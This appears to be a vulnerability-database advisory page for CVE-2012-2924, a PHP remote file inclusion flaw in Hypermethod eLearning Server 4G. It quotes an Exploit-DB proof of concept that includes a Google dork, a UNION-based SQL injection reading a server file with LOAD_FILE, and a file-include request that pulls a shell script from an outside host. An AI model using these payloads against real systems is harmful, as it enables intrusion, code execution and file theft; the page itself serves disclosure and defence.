CVE-2012-2924

high

Published 2012-05-21 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

8.5

Description

PHP remote file inclusion vulnerability in admin/setup.inc.php in Hypermethod eLearning Server 4G allows remote attackers to execute arbitrary PHP code via a URL in the path parameter.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-18858 webapps php text · 1 KB

Andrey Komarov · 2012-05-10

eLearning server 4g - Multiple Vulnerabilities

text exploit Source: Exploit-DB

# Exploit Title: eLearning Server Multiple Remote Vulnerabilities
# Google Dork: intitle:"eLearning Server"
# Date: 10.05.2012
# Author: Eugene Salov, Andrey Komarov (Group-IB, http://group-ib.ru)
# Software Link: http://www.hypermethod.ru/
# Version: 4G
# Tested on: Microsoft Windows

news.php4 "nid" SQL injection:
POC:
/news.php4?nid=-12'+union+select+1,2,LOAD_FILE('C:\\Program%20Files\\Hypermethod\\eLearningServer\\index.php'),4,5,6,7,8,9,10,11/*

admin/setup.inc.php Remote file Include
POC: /admin/setup.inc.php?path=http://group-ib.ru/shell.txt?

Application impact

Vendor	Product	Versions	Fixed
hypermethod	elearning_server	`4g`

References

CWEs

CWE-94

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.